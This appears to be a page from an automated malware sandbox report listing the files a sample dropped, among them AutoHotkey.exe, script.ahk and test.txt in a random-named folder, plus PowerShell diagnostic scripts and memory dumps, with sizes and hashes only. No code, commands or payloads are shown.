C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
12KB

MD5
c4fc52958a43847e5e61923dd73ee346

SHA1
85fb86c6738e5554bcf3c5440c81171aa460367f

SHA256
0b9d8661c866e298b896add8c4618452fc7552354fd5228b4acd116281538917

SHA512
8e19ea9cb3e27472d19283a986342d8ab784007cfcae3dd4ef88cc719257fbab2d3770fd110c4db20406427599162e464810455f743dcbf3176ce2e6631ff12d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
12KB

MD5
3c3ec708b651ef8a100d4c99a68fbf18

SHA1
20fbe7747c2b80d7796c2dd3f79823626deeb8f9

SHA256
a919b0f37b7180b8dde5ac1baef3fe18567f080e9e17de9bcc696ffa6ad98149

SHA512
5d742715d5085a3e98e487e0d25c3801df557ece84c5b5ed762cd693f9d9700d09b78150012a9e79cee23ae6f77400f6857e316044ea57e4d77485e297ce04da

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
4906df08e7c6256d493c5d63ec475316

SHA1
91cddea276ddbd049b8e12d66e7fb25477acde76

SHA256
1d43810f94dcb8ecc79b461664289a8adc95550d67ed6f426fd6b86623b3e259

SHA512
0c110431e7368aa4b90fe762f073efaeaa948a471a2292058d72e140a408ad5bd0c9e845ce4060f97dba7f29eb899e6cf9b163b02544928dcb804c588d57d69c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ugpuvsx4.oih.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\HcDaeHA

Filesize
32B

MD5
cb0d8328a5b51660b79545501d6c2960

SHA1
87e460871c6a1c818cac2ed8cd844fd0efe75b34

SHA256
46f92410064fad25510559480dee1d88a0269f80b680e84b930a70964d2d10f2

SHA512
20f3f2d61b1d26cead5f9aa3df21b336ca630ddb9d4279997a8add63c40eecbc1a9ba55dd071701618de0cfc774d77ae8af5a76c0674afbb9d00d7d711f5e548

Download Submit
C:\Windows\TEMP\SDIAG_6789c3d2-cb1c-4961-a2a6-f8563c7767db\NetworkDiagnosticsTroubleshoot.ps1

Filesize
25KB

MD5
d0cfc204ca3968b891f7ce0dccfb2eda

SHA1
56dad1716554d8dc573d0ea391f808e7857b2206

SHA256
e3940266b4368c04333db89804246cb89bf2073626f22b8de72bea27c522282a

SHA512
4d2225b599ad8af8ba8516f12cfddca5ec0ce69c5c80b133a6a323e9aaf5e0312efbcfa54d2e4462a5095f9a7c42b9d5b39f3204e0be72c3b1992cf33b22087c

Download Submit
C:\Windows\TEMP\SDIAG_6789c3d2-cb1c-4961-a2a6-f8563c7767db\UtilityFunctions.ps1

Filesize
53KB

MD5
c912faa190464ce7dec867464c35a8dc

SHA1
d1c6482dad37720db6bdc594c4757914d1b1dd70

SHA256
3891846307aa9e83bca66b13198455af72af45bf721a2fbd41840d47e2a91201

SHA512
5c34352d36459fd8fcda5b459a2e48601a033af31d802a90ed82c443a5a346b9480880d30c64db7ad0e4a8c35b98c98f69eceedad72f2a70d9c6cca74dce826a

Download Submit
C:\Windows\TEMP\SDIAG_6789c3d2-cb1c-4961-a2a6-f8563c7767db\UtilitySetConstants.ps1

Filesize
2KB

MD5
0c75ae5e75c3e181d13768909c8240ba

SHA1
288403fc4bedaacebccf4f74d3073f082ef70eb9

SHA256
de5c231c645d3ae1e13694284997721509f5de64ee5c96c966cdfda9e294db3f

SHA512
8fc944515f41a837c61a6c4e5181ca273607a89e48fbf86cf8eb8db837aed095aa04fc3043029c3b5cb3710d59abfd86f086ac198200f634bfb1a5dd0823406b

Download Submit
C:\Windows\TEMP\SDIAG_6789c3d2-cb1c-4961-a2a6-f8563c7767db\en-US\LocalizationData.psd1

Filesize
5KB

MD5
380768979618b7097b0476179ec494ed

SHA1
af2a03a17c546e4eeb896b230e4f2a52720545ab

SHA256
0637af30fc3b3544b1f516f6196a8f821ffbfa5d36d65a8798aeeadbf2e8a7c2

SHA512
b9ef59e9bfdbd49052a4e754ead8cd54b77e79cc428e7aee2b80055ff5f0b038584af519bd2d66258cf3c01f8cc71384f6959ee32111eac4399c47e1c2352302

Download Submit
C:\Windows\Temp\SDIAG_6789c3d2-cb1c-4961-a2a6-f8563c7767db\DiagPackage.dll

Filesize
478KB

MD5
580dc3658fa3fe42c41c99c52a9ce6b0

SHA1
3c4be12c6e3679a6c2267f88363bbd0e6e00cac5

SHA256
5b7aa413e4a64679c550c77e6599a1c940ee947cbdf77d310e142a07a237aad2

SHA512
68c52cd7b762b8f5d2f546092ed9c4316924fa04bd3ab748ab99541a8b4e7d9aec70acf5c9594d1457ad3a2f207d0c189ec58421d4352ddbc7eae453324d13f2

Download Submit
C:\Windows\Temp\SDIAG_6789c3d2-cb1c-4961-a2a6-f8563c7767db\en-US\DiagPackage.dll.mui

Filesize
17KB

MD5
44c4385447d4fa46b407fc47c8a467d0

SHA1
41e4e0e83b74943f5c41648f263b832419c05256

SHA256
8be175e8fbdae0dade54830fece6c6980d1345dbeb4a06c07f7efdb1152743f4

SHA512
191cd534e85323a4cd9649a1fc372312ed4a600f6252dffc4435793650f9dd40d0c0e615ba5eb9aa437a58af334146aac7c0ba08e0a1bf24ec4837a40f966005

Download Submit
C:\rjtu\AutoHotkey.exe

Filesize
367KB

MD5
03404dfedd75165e7d5458b14809c70f

SHA1
cd2ccc2e55e4aebf53f5a5643d6422432702399b

SHA256
e68c483fd2e0a46b4b1d00547755afc0a1faec883b5a3563f8df368de1d97fed

SHA512
10b92d8b49feffe6c39e8a736fdbc2c627941ea79e3bd8194b171833f3391859578313e52bbeb69274dd605f4d0c80dca30e3be52adc9819639774481a3b0907

Download Submit
C:\rjtu\AutoHotkey.exe

Filesize
892KB

MD5
a59a2d3e5dda7aca6ec879263aa42fd3

SHA1
312d496ec90eb30d5319307d47bfef602b6b8c6c

SHA256
897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

SHA512
852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030

Download Submit
C:\rjtu\script.ahk

Filesize
55KB

MD5
e93f832ee64b07207c38479dbf3ee767

SHA1
7f4a0063a53ed2ba9c2c2e77eacea34ccfbb99f7

SHA256
dd7a8b55e4b7dc032ea6d6aed6153bec9b5b68b45369e877bb66ba21acc81455

SHA512
f46fafc946b0155ab43df99e92f5050e8967ac9528a465afc027801b20431d1c5c8f44a10c04738a995b8819f173e6cf270ab70ed352f69794cef9176f52fe51

Download Submit
C:\rjtu\test.txt

Filesize
917KB

MD5
57e19b367883bff9e4f0d905c7634827

SHA1
44afaac68c4792effefcaa63c65c55ef5d089a59

SHA256
4de0e0e7f23adc3dd97d498540bd8283004aa131a59ae319019ade9ddef41795

SHA512
dba68357c5d3427171a023919f29d8fc60905708f55acbadb24d5f4b23c355b38994dc6b8c377d6578950e499b205eeb5c9b5ae25885223c2f499e1380fc6c84

Download Submit
memory/828-574-0x00007FFB590F0000-0x00007FFB59BB1000-memory.dmp

Filesize
10.8MB

Download
memory/828-522-0x00007FFB590F0000-0x00007FFB59BB1000-memory.dmp

Filesize
10.8MB

Download
memory/1364-594-0x00000000031F0000-0x0000000003263000-memory.dmp

Filesize
460KB

Download
memory/1364-598-0x00000000031F0000-0x0000000003263000-memory.dmp

Filesize
460KB

Download
memory/2020-102-0x0000025D45F40000-0x0000025D45F50000-memory.dmp

Filesize
64KB

Download
memory/2020-135-0x00007FFB590F0000-0x00007FFB59BB1000-memory.dmp

Filesize
10.8MB

Download
memory/2020-90-0x0000025D45F50000-0x0000025D45F72000-memory.dmp

Filesize
136KB

Download
memory/2020-100-0x00007FFB590F0000-0x00007FFB59BB1000-memory.dmp

Filesize
10.8MB

Download
memory/2020-101-0x0000025D45F40000-0x0000025D45F50000-memory.dmp

Filesize
64KB

Download
memory/2020-579-0x0000025D45F40000-0x0000025D45F50000-memory.dmp

Filesize
64KB

Download
memory/2020-107-0x0000025D466A0000-0x0000025D46862000-memory.dmp

Filesize
1.8MB

Download
memory/2020-591-0x00007FFB590F0000-0x00007FFB59BB1000-memory.dmp

Filesize
10.8MB

Download
memory/2020-137-0x0000025D45F40000-0x0000025D45F50000-memory.dmp

Filesize
64KB

Download
memory/2020-136-0x0000025D45F40000-0x0000025D45F50000-memory.dmp

Filesize
64KB

Download
memory/3264-599-0x0000000003200000-0x0000000003273000-memory.dmp

Filesize
460KB

Download
memory/3264-593-0x0000000003200000-0x0000000003273000-memory.dmp

Filesize
460KB

Download
memory/5796-577-0x0000022044860000-0x0000022044870000-memory.dmp

Filesize
64KB

Download
memory/5796-587-0x00007FFB590F0000-0x00007FFB59BB1000-memory.dmp

Filesize
10.8MB

Download
memory/5796-147-0x00007FFB590F0000-0x00007FFB59BB1000-memory.dmp

Filesize
10.8MB

Download
memory/5796-578-0x0000022044860000-0x0000022044870000-memory.dmp

Filesize
64KB

Download
memory/5796-530-0x0000022044860000-0x0000022044870000-memory.dmp

Filesize
64KB

Download
memory/5796-576-0x00007FFB590F0000-0x00007FFB59BB1000-memory.dmp

Filesize
10.8MB

Download
memory/5796-148-0x0000022044860000-0x0000022044870000-memory.dmp

Filesize
64KB

Download
memory/5796-529-0x0000022044860000-0x0000022044870000-memory.dmp

Filesize
64KB

Download